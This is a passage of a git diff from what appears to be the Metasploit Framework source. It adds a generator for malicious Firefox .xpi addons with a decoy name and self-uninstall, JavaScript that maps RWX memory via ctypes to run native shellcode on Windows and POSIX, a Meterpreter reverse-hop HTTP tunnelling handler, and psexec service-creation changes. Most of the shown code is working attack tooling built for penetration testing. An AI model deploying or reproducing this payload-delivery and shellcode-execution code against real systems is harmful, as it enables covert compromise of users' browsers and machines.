window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/"; + postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ + window.location="<%= get_module_resource %>"; + }); } |).result(binding()) @@ -381,11 +411,26 @@ module Msf </script> <noscript> <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/"> - <meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/"> + <meta http-equiv="refresh" content="1; url=#{get_module_resource}"> </noscript> | end + # @return [String] name of the tracking cookie + def cookie_name + datastore['CookieName'] || DEFAULT_COOKIE_NAME + end + + def cookie_header(tag) + cookie = "#{cookie_name}=#{tag};" + if datastore['CookieExpiration'].present? + expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i) + expires_str = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT") + cookie << " Expires=#{expires};" + end + cookie + end + # # Handles exploit stages. # @@ -394,35 +439,36 @@ module Msf # def on_request_uri(cli, request) case request.uri - when get_resource.chomp("/") + when '/', get_resource.chomp("/") # # This is the information gathering stage # - if get_profile(retrieve_tag(request)) - send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}") + if get_profile(retrieve_tag(cli, request)) + send_redirect(cli, get_module_resource) return end print_status("Gathering target information.") tag = Rex::Text.rand_text_alpha(rand(20) + 5) - ua = request.headers['User-Agent'] + ua = request.headers['User-Agent'] || '' init_profile(tag) - html = get_detection_html(ua) - send_response(cli, html, {'Set-Cookie' => tag}) + print_status("Sending response HTML.") + send_response(cli, get_detection_html(ua), {'Set-Cookie' => cookie_header(tag)}) when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled # - process_browser_info(source=:script, cli, request) - send_response(cli, '') + vprint_status "Info receiver page called." + process_browser_info(:script, cli, request) + send_response(cli, '', {'Set-Cookie' => cookie_header(tag)}) when /#{@noscript_receiver_page}/ # # The detection code will hit this instead of Javascript is disabled # Should only be triggered by the img src in <noscript> # - process_browser_info(source=:headers, cli, request) + process_browser_info(:headers, cli, request) send_not_found(cli) when /#{@exploit_receiver_page}/ @@ -430,19 +476,24 @@ module Msf # This sends the actual exploit. A module should define its own # on_request_exploit() to get the target information # - tag = retrieve_tag(request) + tag = retrieve_tag(cli, request) + vprint_status("Serving exploit to user with tag #{tag}") profile = get_profile(tag) - if profile[:tried] and datastore['Retries'] == false + if profile.nil? + print_status("Browsing directly to the exploit URL is forbidden.") + send_not_found(cli) + elsif profile[:tried] and datastore['Retries'] == false print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else update_profile(profile, :tried, true) + vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? method(:on_request_exploit).call(cli, request, profile) else - print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}") + print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx") send_not_found(cli) end end diff --git a/lib/msf/core/exploit/remote/firefox_addon_generator.rb b/lib/msf/core/exploit/remote/firefox_addon_generator.rb new file mode 100644 index 0000000000..0a2b19bf6c --- /dev/null +++ b/lib/msf/core/exploit/remote/firefox_addon_generator.rb @@ -0,0 +1,111 @@ +# -*- coding: binary -*- + +### +# +# The FirefoxAddonGenerator allows a firefox exploit module to serve a malicious .xpi +# addon that will gain a session. +# +### + +module Msf +module Exploit::Remote::FirefoxAddonGenerator + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + + # Add in the supported datastore options + def initialize(info={}) + super(update_info(info, + 'Platform' => %w{ java linux osx solaris win }, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ + 'Universal (Javascript XPCOM Shell)', { + 'Platform' => 'firefox', + 'Arch' => ARCH_FIREFOX + } + ], + [ + 'Native Payload', { + 'Platform' => %w{ java linux osx solaris win }, + 'Arch' => ARCH_ALL + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]), + OptBool.new('AutoUninstall', [ true, + "Automatically uninstall the addon after payload execution", + true + ]) + ], self.class) + end + + # @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the + # 'application/x-xpinstall' MIME type + # @return nil if payload fails to generate + def generate_addon_xpi(cli) + zip = Rex::Zip::Archive.new + xpi_guid = Rex::Text.rand_guid + p = regenerate_payload(cli).encoded + bootstrap_script = 'function startup(data, reason) {' + bootstrap_script << run_payload + + if (datastore['AutoUninstall']) + bootstrap_script << %Q|var xpi_guid = "#{xpi_guid}";| + bootstrap_script << %q| + function uninstallMe() { + try { // Fx < 4.0 + Components.classes["@mozilla.org/extensions/manager;1"] + .getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); + } catch (e) {} + try { // Fx 4.0 and later + Components.utils.import("resource://gre/modules/AddonManager.jsm"); + AddonManager.getAddonByID(xpi_guid, function(addon) { + addon.uninstall(); + }); + } catch (e) {} + } + uninstallMe(); + | + end + + bootstrap_script << "}" + + zip.add_file('bootstrap.js', bootstrap_script) + zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") + zip.add_file('install.rdf', %Q|<?xml version="1.0"?> +<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> + <Description about="urn:mozilla:install-manifest"> + <em:id>#{xpi_guid}</em:id> + <em:name>#{datastore['ADDONNAME']}</em:name> + <em:version>1.0</em:version> + <em:bootstrap>true</em:bootstrap> + <em:unpack>true</em:unpack> + <em:targetApplication> + <Description> + <em:id>toolkit@mozilla.org</em:id> + <em:minVersion>1.0</em:minVersion> + <em:maxVersion>*</em:maxVersion> + </Description> + </em:targetApplication> + <em:targetApplication> + <Description> + <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> + <em:minVersion>1.0</em:minVersion> + <em:maxVersion>*</em:maxVersion> + </Description> + </em:targetApplication> + </Description> +</RDF>|) + zip.add_file('overlay.xul', %q|<?xml version="1.0"?> +<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> + <script src="bootstrap.js"/> + <script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script> +</overlay>|) + zip + end +end +end diff --git a/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb new file mode 100644 index 0000000000..a927911220 --- /dev/null +++ b/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb @@ -0,0 +1,150 @@ +# -*- coding: binary -*- + +### +# +# The FirefoxPrivilegeEscalation mixin provides some methods to +# run native shellcode from a Firefox JS privileged environment +# +### + +module Msf +module Exploit::Remote::FirefoxPrivilegeEscalation + + # Sends the +js+ code to the remote session, which executes it in Firefox's + # privileged javascript context + # @return [String] the results that were sent back. This can be achieved through + # calling the "send" function, or by just returning the value in +js+ + def js_exec(js, timeout=30) + print_status "Running the privileged javascript..." + token = "[[#{Rex::Text.rand_text_alpha(8)}]]" + session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}") + session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout) + end + + # Puts the shellcode into memory, adds X flag, and calls it + # The js function throws on error + # @return [String] javascript code containing the execShellcode() javascript fn + def exec_shellcode_source + %Q| + var execShellcode = function(shellcode, bytes) { + Components.utils.import("resource://gre/modules/ctypes.jsm"); + var execPosix = function() { + var RWX = 7, ANON_PRIVATE = 4098; + Components.utils.import("resource://gre/modules/ctypes.jsm"); + var LIBS = [ + "/usr/lib/libSystem.B.dylib", + "libc.so.6", + "libc.so" + ]; + + var i, lib; + for (i in LIBS) { + try { + lib = ctypes.open(LIBS[i]); + break; + } catch (e) {} + } + if (!lib) throw new Error("Could not find lib in ["+LIBS+"]"); + + var mmap = lib.declare('mmap', + ctypes.default_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* address (NULL here) */ + ctypes.size_t, /* num bytes */ + ctypes.int, /* PROT_READ OR PROT_WRITE OR PROT_EXEC */ + ctypes.int, /* MAP_ANONYMOUS OR MAP_PRIVATE */ + ctypes.int, /* fd (0) */ + ctypes.int /* offset (0) */ + ); + var memcpy = lib.declare('memcpy', + ctypes.default_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* dest */ + ctypes.voidptr_t, /* src */ + ctypes.size_t /* size to copy */ + ); + var fork = lib.declare('fork', + ctypes.default_abi, /* calling convention */ + ctypes.int /* return type */ + ); + var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0); + var cstr = ctypes.jschar.array()(shellcode); + //var bytes = ctypes.char.array()(shellcode).length-1; + memcpy(buff, cstr, bytes); + /* there is probably a better way to do this */ + var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/); + if (!m) throw new Error("Could not find address of buffer."); + if (fork() == 0) { + ctypes.FunctionType(ctypes.default_abi, ctypes.void_t).ptr(parseInt(m[1], 16))(); + } + }; + + var execWindows = function() { + var RWX = 0x40, ANON_PRIVATE = 0x1000; + var Kernel32 = ctypes.open("Kernel32.dll"); + var VirtualAlloc = Kernel32.declare('VirtualAlloc', + ctypes.winapi_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* start address (NULL here) */ + ctypes.size_t, /* num bytes */ + ctypes.unsigned_long, /* alloc type */ + ctypes.unsigned_long /* protection flags */ + ); + var RtlMoveMemory = Kernel32.declare('RtlMoveMemory', + ctypes.winapi_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* dest */ + ctypes.voidptr_t, /* src */ + ctypes.size_t /* size to copy */ + ); + var CreateThread = Kernel32.declare('CreateThread', + ctypes.winapi_abi, /* calling convention */ + ctypes.voidptr_t, /* return type */ + ctypes.voidptr_t, /* lpThreadAttributes */ + ctypes.voidptr_t, /* dwStackSize */ + ctypes.voidptr_t, /* lpStartAddress copy */ + ctypes.voidptr_t, /* lpParameter */ + ctypes.voidptr_t, /* dwCreationFlags */ + ctypes.voidptr_t /* lpThreadId */ + ); + var buff = VirtualAlloc(null, shellcode.length, ANON_PRIVATE, RWX); + var cstr = ctypes.jschar.array()(shellcode); + RtlMoveMemory(buff, cstr, bytes); + var m = buff.toString().match(/"0x([0-9a-fA-F]+)"/); + if (!m) throw new Error("Could not find address of buffer."); + var fn = ctypes.FunctionType(ctypes.winapi_abi, ctypes.void_t).ptr(parseInt(m[1], 16)); + CreateThread(null, null, fn, null, null, null); + }; + + var i, errs = [], fns = [execWindows, execPosix]; + for (i in fns) { + try { + fns[i](shellcode); + return true; + } catch(e) { errs.push(e.message); } + } + + throw new Error("All methods failed. Exceptions encountered:\\n["+errs+"]"); + }; + | + end + + # @return [String] javascript source code that kicks off the execution of the payload + # For a javascript payload, this simply returns the payload source + # For a native payload, this calls the correct methods to alloc RWX memory and execute shellcode + def run_payload + return payload.encoded if js_target? + %Q| + #{exec_shellcode_source} + var sc = unescape("#{Rex::Text.to_unescape(payload.encoded)}"); + execShellcode(sc, #{payload.encoded.bytes.to_a.length}); + | + end + + # @return [Boolean] the user has selected a javascript (non-native) target + def js_target? + target.arch[0] == ARCH_FIREFOX + end + +end +end \ No newline at end of file diff --git a/lib/msf/core/exploit/sip.rb b/lib/msf/core/exploit/sip.rb new file mode 100644 index 0000000000..34138af7fc --- /dev/null +++ b/lib/msf/core/exploit/sip.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +require 'rex/proto/sip/response' + +module Msf + # SIP protocol support + module Exploit::Remote::SIP + # Parses +response+, extracts useful metdata and then reports on it. + # Returns true iff the response was a valid SIP response + def report_response(response, rhost, proto, desired_headers = %w(User-Agent Server Allow)) + endpoint = "#{rhost}:#{rport} #{proto}" + begin + options_response = Rex::Proto::SIP::Response.parse(response) + rescue ArgumentError => e + vprint_error("#{endpoint} is not SIP: #{e}") + return false + end + + # Extracted headers, stored as a hash where the key is the header name + # and the value is a list of all values seen for the header, covering the + # case where the same header value is seen multiple times + extracted_headers = {} + unless desired_headers.nil? || desired_headers.empty? + desired_headers.each do |desired_header| + next unless (found_header = options_response.header(desired_header)) + extracted_headers[desired_header] ||= [] + extracted_headers[desired_header] |= found_header + end + end + + # Create a SIP OPTIONS fingerprint hash + fprint = { + 'code' => options_response.code, + 'message' => options_response.message + } + + # compact the header values, append the header information to the + # fingerprint hash + extracted_headers.each_pair do |k,v| + value = v.join(',') + extracted_headers[k] = value + fprint['header_' + k.gsub('-', '_').downcase] = value + end + + # Create a summary of the response + status = options_response.status_line.dup + unless extracted_headers.keys.empty? + status << ": #{extracted_headers}" + end + + # Report the service with the status information + report_service( + host: rhost, + port: rport, + proto: proto.downcase, + name: 'sip', + info: status + ) + + # Report the fingerprint information + report_note( + host: rhost, + port: rport, + proto: proto.downcase, + type: "sip.options.fingerprint", + data: fprint + ) + + # Display the actual result to the user + print_status(endpoint + " " + status) + true + end + + def create_probe(ip, proto) + suser = Rex::Text.rand_text_alphanumeric(rand(8) + 1) + shost = Rex::Socket.source_address(ip) + src = "#{shost}:#{datastore['RPORT']}" + + data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n" + data << "Via: SIP/2.0/#{proto.upcase} #{src};branch=z9hG4bK.#{format('%.8x', rand(0x100000000))};rport;alias\r\n" + data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n" + data << "To: sip:#{datastore['TO']}@#{ip}\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n" + data << "CSeq: 1 OPTIONS\r\n" + data << "Contact: sip:#{suser}@#{src}\r\n" + data << "Max-Forwards: 20\r\n" + data << "User-Agent: #{suser}\r\n" + data << "Accept: application/sdp\r\n" + data << "Content-Length: 0\r\n" + data << "\r\n" + data + end + end +end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 4eddb125d6..095adf45bc 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -17,9 +17,6 @@ module Msf module Exploit::Remote::SMB - require 'msf/core/exploit/smb/authenticated' - require 'msf/core/exploit/smb/psexec' - include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/psexec.rb index 15af3724b1..d4d3d1d88e 100644 --- a/lib/msf/core/exploit/smb/psexec.rb +++ b/lib/msf/core/exploit/smb/psexec.rb @@ -1,6 +1,4 @@ # -*- coding: binary -*- -require 'msf/core' -require 'msf/core/exploit/dcerpc' module Msf @@ -52,8 +50,12 @@ module Exploit::Remote::SMB::Psexec # @todo Figure out the actual exceptions this needs to deal with # instead of all the ghetto "rescue ::Exception" madness # @param command [String] Should be a valid windows command + # @param disconnect [Boolean] Disconnect afterwards + # @param service_description [String] Service Description + # @param service_name [String] Service Name + # @param display_name [Strnig] Display Name # @return [Boolean] Whether everything went well - def psexec(command) + def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") @@ -71,9 +73,9 @@ module Exploit::Remote::SMB::Psexec print_error("#{peer} - Error getting scm handle: #{e}") return false end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle + servicename = service_name || Rex::Text.rand_text_alpha(11) + displayname = display_name || Rex::Text.rand_text_alpha(16) + svc_handle = nil svc_status = nil stubdata = @@ -94,29 +96,30 @@ module Exploit::Remote::SMB::Psexec vprint_status("#{peer} - Creating the service...") response = dcerpc.call(0x0c, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] + svc_handle = dcerpc.last_response.stub_data[4,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("#{peer} - Error creating service: #{e}") return false end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - vprint_status("#{peer} - Opening service...") - begin - stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] + + if service_description + vprint_status("#{peer} - Changing service description...") + stubdata = + svc_handle + + NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION + NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION + NDR.long(0x0200) + # SERVICE_DESCRIPTION struct + NDR.long(0x04000200) + + NDR.wstring(service_description) + begin + response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2 + rescue Rex::Proto::DCERPC::Exceptions::Fault => e + print_error("#{peer} - Error changing service description : #{e}") end - rescue ::Exception => e - print_error("#{peer} - Error opening service: #{e}") - return false end + vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin @@ -142,11 +145,19 @@ module Exploit::Remote::SMB::Psexec rescue ::Exception => e print_error("#{peer} - Error closing service handle: #{e}") end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + + if disconnect + sleep(1) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + end + return true end + def peer + return "#{rhost}:#{rport}" + end + end end diff --git a/lib/msf/core/exploit/smtp_deliver.rb b/lib/msf/core/exploit/smtp_deliver.rb index 0ef6a74f54..b440e12a91 100644 --- a/lib/msf/core/exploit/smtp_deliver.rb +++ b/lib/msf/core/exploit/smtp_deliver.rb @@ -127,6 +127,7 @@ module Exploit::Remote::SMTPDeliver # not already established. # def send_message(data) + send_status = nil already_connected = connected? if already_connected @@ -146,13 +147,15 @@ module Exploit::Remote::SMTPDeliver if not resp or not resp[0,3] == '354' print_error("Server refused our mail") else - raw_send_recv("#{data}\r\n.\r\n", nsock) + send_status = raw_send_recv("#{data}\r\n.\r\n", nsock) end if not already_connected print_verbose("Closing the connection...") disconnect(nsock) end + + send_status end def disconnect(nsock=self.sock) diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index 1e4bb71292..43ca47f345 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -98,15 +98,15 @@ module Exploit::Remote::Tcp end nsock = Rex::Socket::Tcp.create( - 'PeerHost' => opts['RHOST'] || rhost, - 'PeerPort' => (opts['RPORT'] || rport).to_i, - 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", - 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, - 'SSL' => dossl, - 'SSLVersion'=> opts['SSLVersion'] || ssl_version, - 'Proxies' => proxies, - 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i, - 'Context' => + 'PeerHost' => opts['RHOST'] || rhost, + 'PeerPort' => (opts['RPORT'] || rport).to_i, + 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0", + 'LocalPort' => (opts['CPORT'] || cport || 0).to_i, + 'SSL' => dossl, + 'SSLVersion' => opts['SSLVersion'] || ssl_version, + 'Proxies' => proxies, + 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self, @@ -300,6 +300,7 @@ module Exploit::Remote::TcpServer register_advanced_options( [ OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']), + OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]) ], Msf::Exploit::Remote::TcpServer) register_evasion_options( @@ -379,6 +380,7 @@ module Exploit::Remote::TcpServer 'LocalPort' => srvport, 'SSL' => ssl, 'SSLCert' => ssl_cert, + 'SSLCompression' => ssl_compression, 'Comm' => comm, 'Context' => { @@ -464,6 +466,11 @@ module Exploit::Remote::TcpServer datastore['SSLCert'] end + # @return [Bool] enable SSL/TLS-level compression + def ssl_compression + datastore['SSLCompression'] + end + # # Re-generates the payload, substituting the current RHOST and RPORT with # the supplied client host and port from the socket. diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index c0e3aa872c..70c7ae6883 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'metasploit/framework/version' require 'msf/core' require 'msf/util' @@ -16,10 +17,10 @@ class Framework # Versioning information # - Major = 4 - Minor = 9 - Point = 0 - Release = "-dev" + Major = Metasploit::Framework::Version::MAJOR + Minor = Metasploit::Framework::Version::MINOR + Point = Metasploit::Framework::Version::PATCH + Release = "-#{Metasploit::Framework::Version::PRERELEASE}" if(Point) Version = "#{Major}.#{Minor}.#{Point}#{Release}" @@ -41,14 +42,6 @@ class Framework # EICAR canary EICARCorrupted = ::Msf::Util::EXE.is_eicar_corrupted? - # API Version - APIMajor = 1 - APIMinor = 0 - - # Base/API Version - VersionCore = Major + (Minor / 10.0) - VersionAPI = APIMajor + (APIMinor / 10.0) - # # Mixin meant to be included into all classes that can have instances that # should be tied to the framework, such as modules. diff --git a/lib/msf/core/handler/bind_tcp.rb b/lib/msf/core/handler/bind_tcp.rb index 118e7dadd9..8a16d608d6 100644 --- a/lib/msf/core/handler/bind_tcp.rb +++ b/lib/msf/core/handler/bind_tcp.rb @@ -166,7 +166,7 @@ module BindTcp socks[0].extend(Rex::Socket::Tcp) socks[1].extend(Rex::Socket::Tcp) - m = OpenSSL::Digest::Digest.new('md5') + m = OpenSSL::Digest.new('md5') m.reset key = m.digest(datastore["AESPassword"] || "") diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb new file mode 100644 index 0000000000..96478245cc --- /dev/null +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -0,0 +1,305 @@ +# -*- coding: binary -*- +require 'rex/io/stream_abstraction' +require 'rex/sync/ref' +require 'msf/core/handler/reverse_http' +require 'uri' + +module Msf +module Handler + +### +# +# This handler implements the HTTP hop tunneling interface. +# It acts like an HTTP server to the meterpreter packet dispatcher but +# as an HTTP client to actually send and receive the data from the hop. +# +### +module ReverseHopHttp + + include Msf::Handler::ReverseHttp + + # + # Magic bytes to know we are talking to a valid hop + # + MAGIC = 'TzGq' + + # hop_handlers is a class-level instance variable + class << self; attr_accessor :hop_handlers end + attr_accessor :monitor_thread # :nodoc: + attr_accessor :handlers # :nodoc: + attr_accessor :closed_handlers # :nodoc: + attr_accessor :mclient # :nodoc: + attr_accessor :current_url # :nodoc: + attr_accessor :control # :nodoc: + attr_accessor :refs # :nodoc: + attr_accessor :lock # :nodoc: + + # + # Keeps track of what hops have active handlers + # + @hop_handlers = {} + + # + # Returns the string representation of the handler type + # + def self.handler_type + return "reverse_hop_http" + end + + # + # Returns the connection-described general handler type, in this case + # 'tunnel'. + # + def self.general_handler_type + "tunnel" + end + + # + # Sets up a handler. Doesn't do much since it's all in start_handler. + # + def setup_handler + self.handlers = {} + self.closed_handlers = {} + self.lock = Mutex.new + end + + # + # Starts the handler along with a monitoring thread to handle data transfer + # + def start_handler + # Our HTTP client and URL for talking to the hop + uri = URI(full_uri) + self.control = "#{uri.request_uri}control" + self.mclient = Rex::Proto::Http::Client.new( + uri.host, + uri.port, + { + 'Msf' => framework + } + ) + @running = true # So we know we can stop it + # If someone is already monitoring this hop, bump the refcount instead of starting a new thread + if ReverseHopHttp.hop_handlers.has_key?(full_uri) + ReverseHopHttp.hop_handlers[full_uri].refs += 1 + return + end + + # Sometimes you just have to do everything yourself. + # Declare ownership of this hop and spawn a thread to monitor it. + self.refs = 1 + ReverseHopHttp.hop_handlers[full_uri] = self + self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri, + self) do |uri, hop_http| + hop_http.send_new_stage # send stage to hop + delay = 1 # poll delay + # Continue to loop as long as at least one handler or one session is depending on us + until hop_http.refs < 1 && hop_http.handlers.empty? + sleep delay + delay = delay + 1 if delay < 10 # slow down if we're not getting anything + crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control}) + res = hop_http.mclient.send_recv(crequest) # send poll to the hop + next if res.nil? + if res.error + print_error(res.error) + next + end + + # validate responses, handle each message down + received = res.body + until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC + + # good response + delay = 0 # we're talking, speed up + urlen = received.slice!(0,4).unpack('V')[0] + urlpath = received.slice!(0,urlen) + datalen = received.slice!(0,4).unpack('V')[0] + + # do not want handlers to change while we dispatch this + hop_http.lock.lock + #received now starts with the binary contents of the message + if hop_http.handlers.include? urlpath + pack = Rex::Proto::Http::Packet.new + pack.body = received.slice!(0,datalen) + hop_http.current_url = urlpath + hop_http.handlers[urlpath].call(hop_http, pack) + hop_http.lock.unlock + elsif !closed_handlers.include? urlpath + hop_http.lock.unlock + #New session! + conn_id = urlpath.gsub("/","") + # Short-circuit the payload's handle_connection processing for create_session + # We are the dispatcher since we need to handle the comms to the hop + create_session(hop_http, { + :passive_dispatcher => self, + :conn_id => conn_id, + :url => uri.to_s + conn_id + "/\x00", + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => false, + }) + # send new stage to hop so next inbound session will get a unique ID. + hop_http.send_new_stage + else + hop_http.lock.unlock + end + end + end + hop_http.monitor_thread = nil #make sure we're out + ReverseHopHttp.hop_handlers.delete(full_uri) + end + end + + # + # Stops the handler and monitoring thread + # + def stop_handler + # stop_handler is called like 3 times, don't decrement refcount unless we're still running + if @running + ReverseHopHttp.hop_handlers[full_uri].refs -= 1 + @running = false + end + end + + # + # Adds a resource. (handler for a session) + # + def add_resource(res, opts={}) + self.handlers[res] = opts['Proc'] + start_handler if monitor_thread.nil? + end + + # + # Removes a resource. + # + def remove_resource(res) + lock.lock + handlers.delete(res) + closed_handlers[res] = true + lock.unlock + end + + # + # Implemented for compatibility reasons, does nothing + # + def close_client(cli) + end + + # + # Sends data to hop + # + def send_response(resp) + if not resp.body.empty? + crequest = mclient.request_raw( + 'method' => 'POST', + 'uri' => control, + 'data' => resp.body, + 'headers' => {'X-urlfrag' => current_url} + ) + # if receiving POST data, hop does not send back data, so we can stop here + mclient.send_recv(crequest) + end + end + + # + # Return the URI of the hop point. + # + def full_uri + uri = datastore['HOPURL'] + return uri if uri.end_with?('/') + return "#{uri}/" if uri.end_with?('?') + "#{uri}?/" + end + + # + # Returns a string representation of the local hop + # + def localinfo + "Hop client" + end + + # + # Returns the URL of the remote hop end + # + def peerinfo + uri = URI(full_uri) + "#{uri.host}:#{uri.port}" + end + + # + # Initializes the Hop HTTP tunneling handler. + # + def initialize(info = {}) + super + + register_options( + [ + OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ]) + ], Msf::Handler::ReverseHopHttp) + + end + + # + # Generates and sends a stage up to the hop point to be ready for the next client + # + def send_new_stage + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + url = full_uri + conn_id + "/\x00" + + print_status("Preparing stage for next session #{conn_id}") + blob = stage_payload + + # Replace the user agent string with our option + i = blob.index("METERPRETER_UA\x00") + if i + str = datastore['MeterpreterUserAgent'][0,255] + "\x00" + blob[i, str.length] = str + end + + # Replace the transport string first (TRANSPORT_SOCKET_SSL) + i = blob.index("METERPRETER_TRANSPORT_SSL") + if i + str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00" + blob[i, str.length] = str + end + + conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16) + i = blob.index("https://" + ("X" * 256)) + if i + url = full_uri + conn_id + "/\x00" + blob[i, url.length] = url + end + print_status("Patched URL at offset #{i}...") + + i = blob.index([0xb64be661].pack("V")) + if i + str = [ datastore['SessionExpirationTimeout'] ].pack("V") + blob[i, str.length] = str + end + + i = blob.index([0xaf79257f].pack("V")) + if i + str = [ datastore['SessionCommunicationTimeout'] ].pack("V") + blob[i, str.length] = str + end + + blob = encode_stage(blob) + + #send up + crequest = mclient.request_raw( + 'method' => 'POST', + 'uri' => control, + 'data' => blob, + 'headers' => {'X-init' => 'true'} + ) + res = mclient.send_recv(crequest) + print_status("Uploaded stage to hop #{full_uri}") + print_error(res.error) if !res.nil? && res.error + + #return conn info + [conn_id, url] + end + +end + +end +end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 583de796e2..75276cb6b4 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'rex/io/stream_abstraction' require 'rex/sync/ref' +require 'msf/core/handler/reverse_http/uri_checksum' module Msf module Handler @@ -13,6 +14,7 @@ module Handler module ReverseHttp include Msf::Handler + include Msf::Handler::ReverseHttp::UriChecksum # # Returns the string representation of the handler type @@ -29,120 +31,6 @@ module ReverseHttp "tunnel" end - # - # Define 8-bit checksums for matching URLs - # These are based on charset frequency - # - URI_CHECKSUM_INITW = 92 - URI_CHECKSUM_INITJ = 88 - URI_CHECKSUM_CONN = 98 - - # - # Precalculated checkums as fallback - # - URI_CHECKSUM_PRECALC = [ - "Zjjaq", "pIlfv", "UvoxP", "sqnx9", "zvoVO", "Pajqy", "7ziuw", "vecYp", 